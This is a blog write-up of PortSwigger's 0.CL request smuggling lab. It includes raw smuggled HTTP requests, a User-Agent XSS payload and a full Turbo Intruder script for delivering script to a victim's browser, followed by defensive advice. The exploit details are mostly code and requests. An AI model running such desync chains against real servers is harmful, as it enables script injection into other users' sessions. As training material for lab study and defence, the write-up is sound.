Lab Writeup: PortSwigger – 0.CL Request Smuggling

Lab Writeup: PortSwigger – 0.CL Request Smuggling

September 9, 2025 9 min read

First-person, A complete, beginner-friendly walkthrough of PortSwigger’s new 0.CL Request Smuggling lab. Includes detection techniques, exploitation methods, ERG choices, and defensive strategies.




⚠️ Disclaimer

This write-up is for educational purposes only and intended for legal, controlled environments such as PortSwigger’s Web Security Academy. Do not apply these techniques to systems without proper authorization.


1 - Introduction

When I opened the PortSwigger 0.CL Request Smuggling lab, the lab description was clear:

Goal: Carlos visits the homepage every five seconds. Exploit the vulnerability to execute alert() in his browser.

So my job was simple to state and tricky to execute: make Carlos’s browser run a JavaScript alert() by abusing a 0.CL request smuggling desync.

In this blog I write what I actually did - step-by-step, in plain language. I explain why each step matters, why I chose certain endpoints, and how defenders can prevent it.

PortSwigger 0.CL lab landing page


2 - Quick background

Request smuggling happens when two servers disagree about where one HTTP request ends and the next begins. In this lab, the mismatch is 0.CL: the front-end ignores Content-Length: 0, but the back-end respects it and reads a body that the front-end didn’t expect. That mismatch lets us sneak a new request past the front-end. It doesn’t see it, but the back-end does - and runs it like a normal request.

Beginner breakout: Imagine two people reading a letter. The first one thinks the letter ends after the first page because it says 'End of letter' (Content-Length: 0). So they pass the rest along without reading it. But the second person sees that there’s more and reads the next page as a whole new letter (Content-Length: 4). If you sneak in secret instructions on that second page, the second reader treats them as a new, valid message. That’s 0.CL request smuggling.

Reference reading: PortSwigger research on HTTP desync attacks and RFC 7230 for request framing rules.


3 - Recon: where I started

I began with basic recon in Burp Suite:

  1. Set my browser to proxy through Burp and opened the lab.
  2. Visited the homepage and a few static pages, recording all requests in HTTP history.
  3. Looked for unusual headers and values - especially Content-Length and Transfer-Encoding.

What I found:

  • Some responses hinted that static asset endpoints behaved differently.
  • I spotted places where the app returned content after tiny requests (good sign for ERG selection later).

4 - Confirming the 0.CL behavior

Before building anything, I wanted to verify that the back-end would accept a smuggled request when Content-Length: 0 was used.

Manual check with Repeater (grouped test):

  1. In Repeater, I composed:

    POST / HTTP/1.1
    Host: <LAB_HOST>
    Content-Length: 0
    
    GET /404 HTTP/1.1
    Host: <LAB_HOST>
    
    HTTP

    (Note: the GET /404 is placed after an empty POST body - intentionally.)

  2. I sent the whole combined unit and watched the response.

  3. If the second request (GET /404) is processed unexpectedly (for example the server returns a 404 or an unexpected result), that indicates a 0.CL desync.

This quick Repeater test confirmed the lab’s 0.CL behavior for me.

Why this matters: I didn’t blindly jump to an exploit. First I checked that the back-end would indeed treat the following text as a new request.


5 - Finding the XSS injection point

The lab goal is to execute alert() in Carlos’ browser. To solve the lab, I needed to find a place where I could inject JavaScript, and it would show up when Carlos visits the homepage. I searched the app for reflected data that would be rendered in the victim’s page:

  • I tested common places: URL params, form fields, and headers.
  • I observed that the User-Agent header was reflected in responses (it’s common in some apps to echo a header into HTML or into debug pages).
  • I confirmed the reflection in Repeater by setting User-Agent: a"/><script>alert(1)</script> and checking if the returned HTML included the raw payload.

Important: I only used harmless alert(1) payloads in the lab environment to avoid causing harm.

Result: The User-Agent header was reflected back into the HTML, so it could be used to inject our XSS payload.


6 - Choosing the ERG (why endpoint choice matters)

I needed a reliable Early Response Gadget (ERG) — an endpoint that responds quickly and predictably. In testing, static resource paths (for example /resources/css/anything) tended to provide stable, fast responses which made timing and ordering in the smuggling chain easier.

Why ERG matters:

  • A fast ERG reduces timing uncertainty when you're queuing multiple requests over one connection.
  • If an ERG is slow or varies, the smuggled request may not be processed the way you expect.

So I selected a static asset path as my carrier point (ERG), because it made the exploit more stable in repeated runs.

0cl-early-response-gadget-erg-timing-graph


7 - Building the smuggling chain (Turbo Intruder)

Manual single-shot requests are flaky for 0.CL. I used Turbo Intruder to control raw TCP ordering and timing. Below is the structure I used — I’ll explain each piece in plain language.

Stage 1 (carrier request) — the front-end sees this first

POST /resources/css/anything HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: %s
HTTP
  • %s is a placeholder Turbo Intruder will fill so I can precisely control lengths.

Smuggled request (the secret we want the back-end to process)

GET /post?postId=8 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1
HTTP
  • I put the XSS payload into the User-Agent header because I confirmed it’s reflected in the victim page.
  • The small body x=1 is just to make the request well-formed.

Stage 2 (connection shaper) — keeps the flow predictable

OPTIONS / HTTP/1.1
Content-Length: 123
X: Y
HTTP
  • Some servers reject GETs with bodies, so I use OPTIONS or another tolerant method to avoid rejections and keep connection state stable.

Victim request — what Carlos will request

GET / HTTP/1.1
Host: <LAB_HOST>
User-Agent: foo
HTTP
  • This is the simple homepage request that Carlos requests periodically. If the smuggling worked, the XSS will be reflected when Carlos loads this page and his browser will execute alert(1).

How Turbo Intruder runs them I queued Stage 1, then the Stage 2 + smuggled request, then the victim request. Turbo Intruder sends these in the same TCP stream so the back-end parses the smuggled GET as a distinct request while the front-end thinks it's body data.

0cl-turbo-intruder-smuggling-script-setup

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=1,
                           engine=Engine.BURP,
                           maxRetriesPerRequest=0,
                           timeout=15
                           )

    host = 'your lab host'

    # The attack should contain an early-response gadget and a (maybe obfuscated) Content-Length header with the value set to %s
    attack1 = '''GET /resources/labheader/js/labHeader.js HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive
Content-Length : 76

'''

    # This will get prefixed to the victim's request - place your payload in here
    attack2 = '''GET /resources/labheader/js/labHeader.js HTTP/1.1
Content-Length: 1234
X: GET /resources/css/labsBlog.css HTTP/1.1
Host: '''+host+'''
Accept-Encoding: gzip, deflate, br
Accept: /
Connection: keep-alive

HEAD /post/comment/confirmation?postId=6 HTTP/1.1
Host: '''+host+'''
Connection: keep-alive

GET /resources?hh=<script>alert(1)</script>'''+('A'*6500)+''' HTTP/1.1
X: y'''

    victim = '''GET / HTTP/1.1
Host: '''+host+'''
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close

'''

    while True:
        for x in range(7):
            engine.queue(attack1, label="attack1")
            engine.queue(attack2, label="attack2")
#            engine.queue(victim, label="victim")
        


def handleResponse(req, interesting):
    table.add(req)

    # 0.CL attacks use a double desync so they can take a while!
    # Uncomment & customise this if you want the attack to automatically stop on success
    if req.label == 'victim' and (req.status == 404 or 'alert' in req.response):
        req.lable = 'victim success'
        req.engine.cancel()
JavaScript

8 - Running the attack and watching Carlos

I launched the Turbo Intruder script and watched the Burp/Turbo console:

  • The script loops these sequences until it sees a success indicator (I set it to look for the lab “Congratulations” text or a page that contains the injected payload).
  • Because Carlos refreshes every five seconds, I watched for a short while for the alert to appear.

Success signs I looked for:

  • A response containing the injected string showing up in the victim page HTML.
  • For PortSwigger labs, the “Congratulations” message or explicit lab success indicator.

When the injection reflected in the victim response, Carlos visited the homepage and the XSS ran — the lab marked it as solved automatically.

0cl-lab-solved-xss-alert-success-portswigger


9 - Troubleshooting (what failed and why)

If it didn’t work right away, these are the common issues I debugged:

  • Missing CRLFs or spacing: A single missing \r\n can break parser boundaries. I double-checked that each request ends with \r\n\r\n.
  • Wrong ERG choice: Some endpoints are slower or proxied differently — try a few static asset paths.
  • Server rejects GET with body: Replace GET body with an OPTIONS or use a minimal Content-Length on the smuggled GET with a tiny body.
  • Connection closing too early: Reduce concurrency, lower the rate, or add tiny delays (Turbo Intruder supports this).
  • Turbo Intruder %s placement: Forgetting %s in Stage 1 stops Turbo from calculating lengths — always confirm it’s present.

I iterated on these fixes until the XSS reflexed reliably.


10 - Defensive perspective (how to stop this)

This section is the most critical for defenders.

Code and config level fixes

  1. Ensure consistent HTTP parsing at the proxy and application layers. Terminate and re-encode requests at a single boundary when possible.
  2. Reject ambiguous requests — for example, requests that contain both Content-Length and Transfer-Encoding or odd Content-Length: 0 uses.
  3. Upgrade and patch proxies (Nginx, HAProxy, Apache) and application servers to versions that address known desync bugs.

Monitoring & detection

  • Log and alert when the body contains unexpected HTTP verbs (GET, POST) or when Content-Length mismatch occurs.
  • Instrument front-end proxies to log raw request bytes for suspicious sequences.
  • Use WAF rules to detect early response gadgets or repeated unusual patterns.

Developer tip: Add automated tests that send malformed requests. If front-end and back-end parse differently, your CI/CD test should fail.


11 - Final thoughts (what I learned)

Solving this lab taught me that:

  • Small differences (a single 0) can break server synchronization.
  • The practical exploit requires careful staging (ERG choice, request shaping, timing).
  • Always think defensive — understanding the exploit is how you design the fix.

If you’re practicing this lab, take your time with the Repeater test, pick a stable ERG, and iterate on your Turbo Intruder script. When you see that alert() in Carlos’ browser, you’ll have a better intuition for HTTP parsing than most developers.


References

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts
Why I’m Starting to Write Blogs: My Journey in Cybersecurity and Beyond
August 28, 2025
Why I’m Starting to Write Blogs: My Journey in Cybersecurity and Beyond
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
September 23, 2025
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
The Ultimate Guide to SQL Injection (SQLi): Types & Prevention
October 5, 2025
The Ultimate Guide to SQL Injection (SQLi): Types & Prevention
Lab: SQL injection vulnerability allowing login bypass
October 6, 2025
Lab: SQL injection vulnerability allowing login bypass
Lab: SQL injection UNION attack - determining number of columns returned by the query
October 7, 2025
Lab: SQL injection UNION attack - determining number of columns returned by the query
Lab: SQL injection UNION attack - finding a column containing text
October 8, 2025
Lab: SQL injection UNION attack - finding a column containing text
Lab: SQL injection UNION attack - retrieving data from other tables
October 9, 2025
Lab: SQL injection UNION attack - retrieving data from other tables
Lab: SQL injection UNION attack - retrieving multiple values in a single column
October 10, 2025
Lab: SQL injection UNION attack - retrieving multiple values in a single column
Lab: SQL injection attack - querying the database type and version on MySQL and Microsoft
October 11, 2025
Lab: SQL injection attack - querying the database type and version on MySQL and Microsoft
Lab: SQL injection attack - listing the database contents on non-Oracle databases
October 12, 2025
Lab: SQL injection attack - listing the database contents on non-Oracle databases
Lab: Blind SQL injection with conditional responses
October 13, 2025
Lab: Blind SQL injection with conditional responses
Lab: Blind SQL injection with conditional errors
October 14, 2025
Lab: Blind SQL injection with conditional errors
Lab: Visible error-based SQL injection
October 15, 2025
Lab: Visible error-based SQL injection
Lab: Blind SQL injection with time delays and information retrieval
October 16, 2025
Lab: Blind SQL injection with time delays and information retrieval
Lab: Blind SQL injection with out-of-band interaction
October 17, 2025
Lab: Blind SQL injection with out-of-band interaction
Lab: Blind SQL injection with out-of-band data exfiltration
October 18, 2025
Lab: Blind SQL injection with out-of-band data exfiltration
Lab: SQL injection with filter bypass via XML encoding
October 19, 2025
Lab: SQL injection with filter bypass via XML encoding
Lab: SQL injection attack, querying the database type and version on Oracle
October 20, 2025
Lab: SQL injection attack, querying the database type and version on Oracle
Lab: SQL injection attack, listing the database contents on Oracle
October 21, 2025
Lab: SQL injection attack, listing the database contents on Oracle
Lab: Blind SQL injection with time delays
October 22, 2025
Lab: Blind SQL injection with time delays
The $500 Stored XSS Bug in SideFX's Messaging System - Hacking the Inbox
October 23, 2025
The $500 Stored XSS Bug in SideFX's Messaging System - Hacking the Inbox
Hunting IDOR Vulnerabilities with Burp Suite: A $1,000 Bug Bounty Case Study
October 24, 2025
Hunting IDOR Vulnerabilities with Burp Suite: A $1,000 Bug Bounty Case Study
$500 Broken Access Control Bug: Unauthorized Removal of Private Pension Schemes
October 25, 2025
$500 Broken Access Control Bug: Unauthorized Removal of Private Pension Schemes
0-Click Account Takeover via Punycode: How IDNs and String Normalization Break Authentication
October 26, 2025
0-Click Account Takeover via Punycode: How IDNs and String Normalization Break Authentication
Finding a $100 Race Condition: How Two Simultaneous Sign-Ups Broke Email Uniqueness
October 27, 2025
Finding a $100 Race Condition: How Two Simultaneous Sign-Ups Broke Email Uniqueness
How To Earn $1K+/Month Finding Information Disclosure - A Practical, Ethical Playbook
October 28, 2025
How To Earn $1K+/Month Finding Information Disclosure - A Practical, Ethical Playbook
Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success
October 29, 2025
Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success
Easy $130 Bounty: From User to Admin - The Hidden Power of Role Parameter Injection
October 30, 2025
Easy $130 Bounty: From User to Admin - The Hidden Power of Role Parameter Injection
Can AI Defend Us Against Hackers? A Pentester Reality Check
October 31, 2025
Can AI Defend Us Against Hackers? A Pentester Reality Check
$500 OTP Bypass: The Duplicate That Taught a Bigger Lesson
November 1, 2025
$500 OTP Bypass: The Duplicate That Taught a Bigger Lesson
$1,000 Bounty for a 403 Bypass: Lessons from a Subtle but Powerful Discovery
November 2, 2025
$1,000 Bounty for a 403 Bypass: Lessons from a Subtle but Powerful Discovery
How Hacker an LFI into a $5,000 Payday (And How You Can Too)
November 3, 2025
How Hacker an LFI into a $5,000 Payday (And How You Can Too)
How a Researcher Found a Critical Password Reset Bug (and Earned $4,000)
November 4, 2025
How a Researcher Found a Critical Password Reset Bug (and Earned $4,000)
The Accidental Admin: How a Null Role Parameter Exposed an Entire Company
November 5, 2025
The Accidental Admin: How a Null Role Parameter Exposed an Entire Company
How a Simple URL Parameter Made Products Free - The $2,000 Logic Flaw That Broke an E-Commerce Site
November 6, 2025
How a Simple URL Parameter Made Products Free - The $2,000 Logic Flaw That Broke an E-Commerce Site
Outsmarting the Firewall: XSS in URLs Explained (Educational Purpose Only)
November 7, 2025
Outsmarting the Firewall: XSS in URLs Explained (Educational Purpose Only)
Forgot Password → Forgot Validation: a broken reset flow that enabled account takeover (researcher case study)
November 8, 2025
Forgot Password → Forgot Validation: a broken reset flow that enabled account takeover (researcher case study)
Burp MCP DNS Rebinding: local APIs as a remote SSRF vector (researcher case study)
November 9, 2025
Burp MCP DNS Rebinding: local APIs as a remote SSRF vector (researcher case study)
Unsafe eval() and DOM XSS: How a Single Line of JavaScript Can Compromise Everything
November 10, 2025
Unsafe eval() and DOM XSS: How a Single Line of JavaScript Can Compromise Everything
How Changing a Single Number Exposed an Entire User Database (An IDOR Story)
November 11, 2025
How Changing a Single Number Exposed an Entire User Database (An IDOR Story)
How I Stole an AI’s Brain (Legally) - Model Extraction & Membership Inference Attacks Explained
November 12, 2025
How I Stole an AI’s Brain (Legally) - Model Extraction & Membership Inference Attacks Explained
Access Control Apocalypse: When Broken Permissions Give Master Keys
November 13, 2025
Access Control Apocalypse: When Broken Permissions Give Master Keys
Neural Network Nightmare: Finding Privacy Leaks in Image Recognition APIs
November 14, 2025
Neural Network Nightmare: Finding Privacy Leaks in Image Recognition APIs
Prompt Injection Pandemonium: Exploiting AI Assistants via Malicious Input
November 15, 2025
Prompt Injection Pandemonium: Exploiting AI Assistants via Malicious Input
The AI Eavesdropper: How Voice Assistants Were Secretly Recording Conversations
November 16, 2025
The AI Eavesdropper: How Voice Assistants Were Secretly Recording Conversations
From 403 to Fortune: How an Access Control Bypass Turned a 403 into Admin Access
November 17, 2025
From 403 to Fortune: How an Access Control Bypass Turned a 403 into Admin Access
How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown
November 18, 2025
How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown
Azure Speech API Key Exposure in a Major Payment Company: A Deep Defensive Breakdown
November 19, 2025
Azure Speech API Key Exposure in a Major Payment Company: A Deep Defensive Breakdown
How Security Researcher Found a DOM XSS Inside NASA’s Systems
November 20, 2025
How Security Researcher Found a DOM XSS Inside NASA’s Systems
SSRF in GitLab Import-URL Feature Enabling Internal Network Probing
November 21, 2025
SSRF in GitLab Import-URL Feature Enabling Internal Network Probing
Critical Auth Bypass in Government App via Hardcoded OTP Logic
November 22, 2025
Critical Auth Bypass in Government App via Hardcoded OTP Logic
Stripe Subscription Escalation: How Default Behavior Enables Free Plan Upgrades
November 23, 2025
Stripe Subscription Escalation: How Default Behavior Enables Free Plan Upgrades
Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
November 24, 2025
Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Cache Poisoning Case Studies Part 2: Multi-Bug Chains, Cloud Weaknesses & Framework-Level Exploits
November 25, 2025
Cache Poisoning Case Studies Part 2: Multi-Bug Chains, Cloud Weaknesses & Framework-Level Exploits
Cache Poisoning Case Studies Part 3: OAuth Hijacking, API Gateway Abuse & Supply-Chain Poisoning
November 26, 2025
Cache Poisoning Case Studies Part 3: OAuth Hijacking, API Gateway Abuse & Supply-Chain Poisoning
Meta Spark AR RCE: Package Postinstall Remote Code Execution
November 27, 2025
Meta Spark AR RCE: Package Postinstall Remote Code Execution
IDOR Exposure of 6.4 Million Users: A Real-World Breakdown of a Critical Authorization Failure
November 28, 2025
IDOR Exposure of 6.4 Million Users: A Real-World Breakdown of a Critical Authorization Failure
Cloudflare Bypass via Exposed Origin IP: A Deep Dive Into Smit Gharat’s Discovery
November 29, 2025
Cloudflare Bypass via Exposed Origin IP: A Deep Dive Into Smit Gharat’s Discovery
Reflected XSS to Account Takeover: A Deep Dive Into a Real-World Attack Chain
November 30, 2025
Reflected XSS to Account Takeover: A Deep Dive Into a Real-World Attack Chain
400 Bad Request that earned $$$ - Document-name disclosure via IDOR
December 1, 2025
400 Bad Request that earned $$$ - Document-name disclosure via IDOR
Modern Recon: How AI Amplifies Vulnerability Hunting
December 2, 2025
Modern Recon: How AI Amplifies Vulnerability Hunting
OAuth Authentication Bypass Leading to Massive PII Exposure: A Deep Technical Analysis
December 3, 2025
OAuth Authentication Bypass Leading to Massive PII Exposure: A Deep Technical Analysis
SSRF in ChatGPT Custom Actions Exposing Azure Metadata
December 4, 2025
SSRF in ChatGPT Custom Actions Exposing Azure Metadata
When the Program Wins and the Researcher Loses: Understanding Silent Failures in Modern Bug Bounties
December 5, 2025
When the Program Wins and the Researcher Loses: Understanding Silent Failures in Modern Bug Bounties
Identity Hijacking via Faulty Email Schema Validation: A Deep Dive into a Business Logic Flaw
December 6, 2025
Identity Hijacking via Faulty Email Schema Validation: A Deep Dive into a Business Logic Flaw
Silent Disclosure: How a Simple 401 Error Exposed Critical Credentials
December 7, 2025
Silent Disclosure: How a Simple 401 Error Exposed Critical Credentials
Cracking the Storage Shell: How Misconfigurations Exposed an Azure Blob Flag
December 8, 2025
Cracking the Storage Shell: How Misconfigurations Exposed an Azure Blob Flag
CTF Write-up: SQL Truncation Attack and Account Duplication
December 9, 2025
CTF Write-up: SQL Truncation Attack and Account Duplication
React2Shell Explained: Understanding CVE-2025-55182 & CVE-2025-66478 in React Server Components
December 10, 2025
React2Shell Explained: Understanding CVE-2025-55182 & CVE-2025-66478 in React Server Components

For any queries or professional discussions: herish.chaniyara@gmail.com